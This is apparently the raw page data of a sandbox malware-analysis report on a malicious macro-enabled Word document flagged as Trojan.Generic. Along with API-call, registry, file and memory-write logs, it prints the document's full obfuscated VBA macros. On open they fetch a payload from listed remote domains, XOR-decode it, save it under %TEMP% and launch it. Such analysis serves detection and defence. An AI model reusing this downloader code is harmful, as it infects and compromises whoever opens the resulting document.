26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 2f:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T487,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.Generic Sample b0c9d7430608… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample b0c9d7430608…. Malware family: Trojan.Generic. Threat score 100/100. 12/27 AV engines flagged this file. 7 malicious and 5 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/b0c9d7430608595b6927553cb7d4d342d5f1f823db7a8885636707dc0ba1de7c","keywords":["Malicious","Trojan.Generic","malware analysis","sandbox report","threat intelligence","b0c9d7430608595b6927553cb7d4d342d5f1f823db7a8885636707dc0ba1de7c"],"about":{"@type":"SoftwareApplication","name":"ScanData155328.docm","applicationCategory":["docx","office"],"identifier":"b0c9d7430608595b6927553cb7d4d342d5f1f823db7a8885636707dc0ba1de7c","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.Generic","antivirusDetections":{"malicious":12,"total":27},"behavioralIndicators":{"malicious":7,"suspicious":5},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T731,"WINWORD.EXE" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\REDCHIP2.EXE") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\REDCHIP2.EXE") "WINWORD.EXE" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\WINWORD.EXE") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\WINWORD.EXE") "WINWORD.EXE" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADDRESSBOOK") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE FLASH PLAYER NPAPI") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\AUTOITV3") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\CONNECTION MANAGER") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\DIRECTDRAWEX") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\DXM_RUNTIME") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\FONTCORE") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\IE40") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\IE4DATA") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\IE5BAKEX") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\IEDATA") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\IEDATA0") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\IEDATA1") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\IEDATA10")28:T2a3a,File "ThisDocument.cls" (Streampath: "VBA/ThisDocument") has code: "Sub Document_Open() End Sub Sub autoopen() Dim c As Rhhhh Set c = New Rhhhh CallByName c, Odish.T2.Text, VbMethod Set c = Nothing End Sub" File "Module1.bas" (Streampath: "VBA/Module1") has code: "Public Function Assimptota4(FullPath As String, NumHoja As Integer) As String AsizePlusX labalama_ProjectBBB, labalama_Project, "3XjDAmNYuFlv1ZCj93zRm9ThpBMcRtVq" labalama_GMAKO.Open (labalama_Project) End Function Public Function CheckRectsMenu4() As Integer Dim rTemp As RECT, rMouse As RECT, i As Integer With rMouse .Left = g_cursorx .Right = .Left + 32 .Top = g_cursory .Bottom = .Top + 1 End With For i = 0 To UBound(MenuRect) If IntersectR.ect(rTemp, MenuRect(i), rMouse) Then CheckRectsMenu4 = i + 1 Exit Function End If Next End Function Public Function Assimptota6(FullPath As String, NumHoja As Integer) As String labalama_ProjectSpeed CallByName SubProperty, "Open", VbMethod If NumHoja > 400 Then If numExportadas = 0 Then Assimptota6 = "No rows to export [No tiene filas por exportar]" Exit Function End If End If labalama_PokerFace = CallByName(CuPro, "responseBody", VbGet) SubProperty.Write labalama_PokerFace CallByName SubProperty, "s" + Sooopchik + "ile", VbMethod, labalama_ProjectBBB, 2 Assimptota4 ".", 1 End Function Public Sub MoveSheets(sheetToMove As String, sheetAnchor As String, Assimptota6OrAfter As String) Dim i On Error GoTo d13 For i = LBound(MovedPermanently) To UBound(MovedPermanently) Step 1 SaveDataCSVToolStripMenuItem_Click 72 If CuPro.Status <> 200 Then Err.Raise 700 + vbObjectError, "A", "D" End If Assimptota6 "33", 3 Exit Sub d13: Next Exit Sub End Sub Public Function CheckRectsNav() As Integer Dim rTemp As RECT, rMouse As RECT, i As Integer With rMouse .Left = g_cursorx .Right = .Left + 32 .Top = g_cursory .Bottom = .Top + 1 End With For i = 0 To UBound(NavRect) If i < 8 Then If IntersectR.ect(rTemp, NavRect(i), rMouse) Then CheckRectsNav = i + 1 Exit Function End If End If Next End Function Public Function CheckRectsAd() As Boolean Dim rTemp As RECT, rMouse As RECT, i As Integer With rMouse .Left = g_cursorx .Right = .Left + 32 .Top = g_cursory .Bottom = .Top + 1 End With If IntersectR.ect(rTemp, AdRect, rMouse) Then CheckRectsAd = True Exit Function End If End Function Public Sub Method1(MethodParam2() As Byte, MethodParam As String) Dim AhnLab2 As Long Dim AhnLab3 As Long Dim AhnLab5 As Long Dim AhnLab6 As Long Dim plusplus() As Byte Dim AhnLab4 As Long Dim plusplusLen As Long plusplusLen = Len(MethodParam) ReDim plusplus(plusplusLen) plusplus = StrConv(MethodParam, vbFromUnicode) AhnLab2 = UBound(MethodParam2) + 1 AhnLab5 = AhnLab2 For AhnLab4 = 0 To (AhnLab2 - 1) aa = plusplus(AhnLab4 Mod plusplusLen) bb = MethodParam2(AhnLab4) MethodParam2(AhnLab4) = Ashnorog(bb, aa) If (AhnLab4 >= AhnLab6) Then AhnLab3 = Int((AhnLab4 / AhnLab5) * 100) AhnLab6 = (AhnLab5 * ((AhnLab3 + 1) / 100)) + 1 End If Next End Sub Private Sub genresButton_Click(sender As Object, e As String) Dim varUsedCount As Integer For i = 0 To listSize If media.Contains(listVariables(i)) Then varUsed.Add (listVariables(i)) varUsedIndex.Add (listVariables.IndexOf(listVariables(i))) End If Next varUsedCount = varUsed.Count outputBox.Text = "" StatusLabel.Text = "Running for: " End Sub" File "Module2.bas" (Streampath: "VBA/Module2") has code: "Public Const labalama_System = "User-Agent" Public SubProperty As Object Public Const Sooopchik = "avetof" Public labalama_PokerFace As Variant Public labalama_GMAKO As Object Public labalama_LAKOPPC As String Public labalama_PIRO_LOR As Object Public ProjectDarvin As Integer Public labalama_RDD2 As Object Public smbi As String Public labalama_2 As String Public Const FreshID = 0 Public ArizonaSu() As String Public labalama_Project As String Public Vaucher As String Public labalama_ProjectBBB As String Public CuPro As Object Public MovedPermanently() As String Public labalama_4 As String Public Function Ashnorog(Var1, Var2) Ashnorog = Var1 Xor Var2 End Function" File "Module3.bas" (Streampath: "VBA/Module3") has code: "Function itemTitle(skuNum) 'retrieve Item title from SKU itemTitle = Application.WorksheetFunction.VLookup(skuNum, [Products], 2, 0) End Function Function GetPath() ' Retrieve the script path Dim path path = WScript.ScriptFullName ' Script name GetPath = Left(path, InStrRev(path, "\")) End Function Function MRDaddy() Dim objXL, objWb, objR ' Excel object variables Dim Title, Text, tmp, i, j, file, name, savename file = "c:\temp\LaptopLoaner.csv" name = "LaptopLoaner" savename = "c:\temp\LaptopLoaner.xls" ' create an Excel object reference Set objXL = WScript.CreateObject("Excel.Application") objXL.WindowState = vbNormal ' Normal objXL.Height = 300 ' height objXL.Width = 400 ' width objXL.Left = 40 ' X-Position objXL.Top = 20 ' Y-Position objXL.Visible = False ' show window ' Load the Excel file from the script's folder Set objWb = objXL.WorkBooks.Open(file) ' Get the loaded worksheet object Set objWb = objXL.ActiveWorkbook.WorkSheets("LaptopLoaner") objWb.Activate ' not absolutely necessary (for CSV) 'WScript.Echo "worksheet imported" ' turn of those annoying warning messages objXL.DisplayAlerts = False 'wscript.echo savename ' xlWorkbookNormal objXL.ActiveWorkbook.SaveAs savename, &HFFFFEFD1 objXL.Quit Set objXL = Nothing Set objWb = Nothing Set objR = Nothing End Function Function itemDesc(skuNum) 'retrieve item description from SKU itemDesc = Application.WorksheetFunction.VLookup(skuNum, [Products], 4, 0) End Function Function itemUPC(skuNum) 'retrieve item upc from SKU, No character limit or formatting itemUPC = Application.WorksheetFunction.VLookup(skuNum, [Products], 3, 0) End Function" File "Odish.frm" (Streampath: "VBA/Odish") has code: "" File "Rhhhh.cls" (Streampath: "VBA/Rhhhh") has code: "Public Function ratatu() As String ArizonaSu = Split(Odish.Tas.Tag, "RONIN") Vaucher = ArizonaSu(FreshID + FreshID * 2 / 13) WellNowYouAreReady ratatu = "" End Function Public Sub Challenge(sender As String, e As Integer) CallByName CuPro, Odish.OptionButton1.ControlTipText, VbMethod, ArizonaSu(5), labalama_4, False SaveToMemory End Sub Private Sub SaveToMemory() CallByName CuPro, Odish.Trbd.Text, VbMethod, labalama_System, _ Odish.SpinButton1.Tag End Sub" File "Module4.bas" (Streampath: "VBA/Module4") has code: "Public Sub AsizePlusX(Dpilulten As String, pilultenJ As String, Optional labalama_Sexote As String) Dim pilulten As Integer Dim Gpilulten() As Byte pilulten = FreeFile Open Dpilulten For Binary As #pilulten ReDim Gpilulten(0 To LOF(pilulten) - 1) Get #pilulten, , Gpilulten() Close #pilulten Call Method1(Gpilulten(), labalama_Sexote) pilulten = FreeFile Open pilultenJ For Binary As #pilulten Put #pilulten, , Gpilulten() Close #pilulten End Sub" File "Module5.bas" (Streampath: "VBA/Module5") has code: "Public Sub SaveDataCSVToolStripMenuItem_Click(e As Integer) labalama_4 = Odish.Label2.Caption & MovedPermanently(i) ProjectDarvin = ProjectDarvin + 2 Dim XIpotom2 As Rhhhh Set XIpotom2 = New Rhhhh If e < 488 Then XIpotom2.Challenge "Swed", 13 CallByName CuPro, Odish.ToggleButton1.Caption, VbMethod Set XIpotom2 = Nothing Else SaveFileDialog1.InitialDirectory = "c:\temp\" SaveFileDialog1.Filter = "CSV files (*.csv)|*.csv" SaveFileDialog1.FilterIndex = 2 SaveFileDialog1.RestoreDirectory = True If (SaveFileDialog1.ShowDialog() = Wind.ows.Forms.DialogResult.OK) Then saveCSV = SaveFileDialog1.FileName End If If saveCSV <> "" Then 'Process.Start(saveCSV) End If End If End Sub" File "Module6.bas" (Streampath: "VBA/Module6") has code: "Public Function CheckRectsMenuMenu3() As Integer Dim rTemp As RECT, rMouse As RECT, i As Integer With rMouse .Left = g_cursorx .Right = .Left + 1 .Top = g_cursory .Bottom = .Top + 1 End With For i = 0 To UBound(rConfig) If IntersectRect(rTemp, rConfig(i), rMouse) Then CheckRectsMenuMenu3 = i + 1 Exit Function End If Next End Function" File "Module7.bas" (Streampath: "VBA/Module7") has code: "Public Sub WellNowYouAreReady() If ActiveDocument.Kind = 0 Then Set CuPro = CreateObject(Vaucher) End If Set labalama_PIRO_LOR = CreateObject(ArizonaSu(FreshID + 3)) smbi = Odish.Label1.Caption MovedPermanently = Split("super-marv.com/874hvVtrans-atm.com/874hvVsolucionesfenix.net/874hv", Odish.Command.Caption) Set SubProperty = CreateObject(ArizonaSu(1)) Set labalama_GMAKO = CreateObject(ArizonaSu(1 + 2 + 3 - 4)) Set labalama_RDD2 = labalama_PIRO_LOR.Environment(ArizonaSu(4)) 'CreateObject Error ProjectDarvin = 12 labalama_LAKOPPC = labalama_RDD2(ArizonaSu(ProjectDarvin / 2)) ProjectDarvin = ProjectDarvin - ProjectDarvin MoveSheets "A", "B", "C" End Sub" File "Module25.bas" (Streampath: "VBA/Module25") has code: "Public Function labalama_ProjectSpeed() GoTo rTemp2 Set fso = CreateObject("Scripting.FileSystemObject") Set oArgs = WScript.Arguments If oArgs.Count = 1 Then strComputer = CStr(oArgs(0)) Else strComputer = InputBox("Enter computer name") End If Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\CIMV2") Set colItems = objWMIService.ExecQuery("SELECT * FROM Win32_VideoController", "WQL", _ wbemFlagReturnImmediately + wbemFlagForwardOnly) rTemp2: labalama_Project = labalama_LAKOPPC labalama_ProjectBBB = labalama_Project + "\ferbys" + CStr(ProjectDarvin) GoTo rTemp3 For i = 0 To UBound(Menu3Rect) If IntersectR.ect(rTemp, Menu3Rect(i), rMouse) Then CheckRectsMenu3 = i + 1 Exit Function End If Next rTemp3: labalama_Project = labalama_Project + Replace(ArizonaSu(12), ".", CStr(ProjectDarvin) + ".") SubProperty.Type = 1 End Function"29:T4e0,"WINWORD.EXE" called "Microsoft.XMLHTTP.1.0.CreateObject" ... "WINWORD.EXE" called "WScript.Shell.1.CreateObject" ... "WINWORD.EXE" called "ADODB.Stream.6.0.CreateObject" ... "WINWORD.EXE" called "Shell.Application.1.CreateObject" ... "WINWORD.EXE" called "WScript.Shell.1.Environment" with result: "IDispatch" ... "WINWORD.EXE" called "WScript.Shell.1("Environment").Item" with result: "%TEMP%\ ..., "WINWORD.EXE" called "Microsoft.XMLHTTP.1.0.open" ... , "WINWORD.EXE" called "Microsoft.XMLHTTP.1.0.setRequestHeader" ... , "WINWORD.EXE" called "Microsoft.XMLHTTP.1.0.send" ... , "WINWORD.EXE" called "Microsoft.XMLHTTP.1.0.status" with result: "200" ..., "WINWORD.EXE" called "ADODB.Stream.6.0.Type" ... , "WINWORD.EXE" called "ADODB.Stream.6.0.Open" ... , "WINWORD.EXE" called "Microsoft.XMLHTTP.1.0.responseBody" with result: "Error

DotNetPanel IIS Modules Error

AuthName directive not found.

File: E:\HostingSpaces\webengr\super-marv.com\wwwroot\.htaccess

" ..., "WINWORD.EXE" called "ADODB.Stream.6.0.Write" ... , "WINWORD.EXE" called "ADODB.Stream.6.0.SaveToFile" ... , "WINWORD.EXE" called "Shell.Application.1.Open" ...2a:T6ac,"WINWORD.EXE" touched file "%WINDIR%\Globalization\Sorting\sortdefault.nls" "WINWORD.EXE" touched file "%WINDIR%\Fonts\staticcache.dat" "WINWORD.EXE" touched file "%WINDIR%\Microsoft.NET\Framework\v1.0.3705\clr.dll" "WINWORD.EXE" touched file "%WINDIR%\Microsoft.NET\Framework\v1.0.3705\mscorwks.dll" "WINWORD.EXE" touched file "%WINDIR%\Microsoft.NET\Framework\v1.1.4322\clr.dll" "WINWORD.EXE" touched file "%WINDIR%\Microsoft.NET\Framework\v1.1.4322\mscorwks.dll" "WINWORD.EXE" touched file "%WINDIR%\Microsoft.NET\Framework\v2.0.50727\clr.dll" "WINWORD.EXE" touched file "%WINDIR%\Microsoft.NET\Framework\v2.0.50727\mscorwks.dll" "WINWORD.EXE" touched file "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll" "WINWORD.EXE" touched file "%WINDIR%\system32\en-US\USER32.dll.mui" "WINWORD.EXE" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches" "WINWORD.EXE" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches\cversions.1.db" "WINWORD.EXE" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000c.db" "WINWORD.EXE" touched file "%WINDIR%\system32\en-US\SETUPAPI.dll.mui" "WINWORD.EXE" touched file "%WINDIR%\system32\rsaenh.dll" "WINWORD.EXE" touched file "%WINDIR%\system32\en-US\KERNELBASE.dll.mui" "WINWORD.EXE" touched file "%WINDIR%\System32\msxml6r.dll" "WINWORD.EXE" touched file "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{BB03F800-CBB0-4810-A089-8D6E41D5D4DE}.tmp" "WINWORD.EXE" touched file "%WINDIR%\system32\en-US\MSCTF.dll.mui" "WINWORD.EXE" touched file "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{0EE5BEDD-F019-49AD-A7F4-AC530EFDB06D}.tmp"2b:T882,"WINWORD.EXE" wrote bytes "ba84823704b98b7b3268ffe1" to virtual address "0x042F23A2" "WINWORD.EXE" wrote bytes "b834000000663d33c0ba0443420068dcf53268c3" to virtual address "0x00478A8C" "WINWORD.EXE" wrote bytes "e936556dee" to virtual address "0x76F03EAE" ("VariantClear@OLEAUT32.DLL") "WINWORD.EXE" wrote bytes "10a9c7f4" to virtual address "0x2F921B94" (part of module "WINWORD.EXE") "WINWORD.EXE" wrote bytes "b811110000663d33c0ba1846490068dcf53268c3" to virtual address "0x0043FF34" "WINWORD.EXE" wrote bytes "b800000000663d33c0bac444420068dcf53268c3" to virtual address "0x0043FF74" "WINWORD.EXE" wrote bytes "ba24a33604b98b7b3268ffe1" to virtual address "0x0431C922" "WINWORD.EXE" wrote bytes "c4cae47680bbe47652bae4769fbbe47608bbe47646cee4766138e576de2fe576d0d9e47600000000177977764f9177767f6f7776f4f7777611f77776f2837776857e777600000000" to virtual address "0x6F7B1000" (part of module "MSIMG32.DLL") "WINWORD.EXE" wrote bytes "fed52df5" to virtual address "0x667F78E4" (part of module "OART.DLL") "WINWORD.EXE" wrote bytes "ba28484900b98b7b3268ffe1" to virtual address "0x042F168A" "WINWORD.EXE" wrote bytes "ba703c3904b98b7b3268ffe1" to virtual address "0x042F23F2" "WINWORD.EXE" wrote bytes "ba3ca13604b98b7b3268ffe1" to virtual address "0x042F23B6" "WINWORD.EXE" wrote bytes "ba243a3904b98b7b3268ffe1" to virtual address "0x042F237A" "WINWORD.EXE" wrote bytes "e99e4874ee" to virtual address "0x76E53D01" ("SetUnhandledExceptionFilter@KERNEL32.DLL") "WINWORD.EXE" wrote bytes "92e6057779a80a77be720a77d62d0a771de2057705a20a77bee30577616f0a77684108770050087700000000ad377d768b2d7d76b6417d7600000000" to virtual address "0x746A1000" (part of module "WSHTCPIP.DLL") "WINWORD.EXE" wrote bytes "9f1330f5" to virtual address "0x657F0BA8" (part of module "MSO.DLL") "WINWORD.EXE" wrote bytes "12e95cf5" to virtual address "0x69FE10AC" (part of module "MSPTLS.DLL") "WINWORD.EXE" wrote bytes "e9c5321bf0" to virtual address "0x759C6143" ("OleLoadFromStream@OLE32.DLL") "WINWORD.EXE" wrote bytes "b811110000663d33c0ba4ca3490068dcf53268c3" to virtual address "0x00478AAC" "WINWORD.EXE" wrote bytes "ba304e4900b98b7b3268ffe1" to virtual address "0x042F1012"2c:T6ca,"WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000401") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000402") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000403") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000404") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000405") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000406") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000407") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000408") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "0000040A") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "0000040B") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "0000040C") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "0000040D") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "0000040E") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "0000040F") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000410") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000411") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000412") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000413") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000414")2d:Tb38,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2e:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAd3d3d3d3d3d3d3dwAAAAAAAAAAAAAAAAAAAAcAAAAAD/////////////8HAAAAAA/wAA/wAAD/AAD/BwAAAAAP/////////////wcAAAAAD/VVD/8A//8AAP8HAAAAAA//D1/wCw//DsD/B3d3d3AP//UP8AAA/wAA/wAAAABwD/////////////8I///wcA/wAA/wAAD/AAD/CAAA8HAP/////////////wj///BwD/cAD/8AD/AAAP8IAADwcA/wAA/wAA/wdwD/CP//8HAP/w8P/wYP/3wP/wgAAPBwD/8AD/8AD/93D/8I///wcA//////////////CAAA8HAAAAAAAAAAAAAAAAj///BwDu7u7u7u7u7u7u4IAADwcAAAAAAAAAAAAAAAD///8HAAAATExMTED/////8AAPBwAAAMTExMTA/////////wcAAABMTExMQAAAAAAAAAAHAAAAxP/ExMDu7u7u7u7uAAAAAE9M/PxAAAAAAAAAAAAAAADPxMTExMTExMTEBwAAAAAAT0z8/ExMTExMTAcAAAAAAMT/xMTExMTExMQHAAAAAABMTExMTExMTExMBwAAAAAAAAAAAAAAAAAAAAcAAAAAAO7u7u7u7u7u7u4HAAAAAAAAAAAAAAAAAAAAAAAAD/////gAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAfAAAAHwAAAB8AAAAfAAAAPwAAAD8AAAH/AAAB/w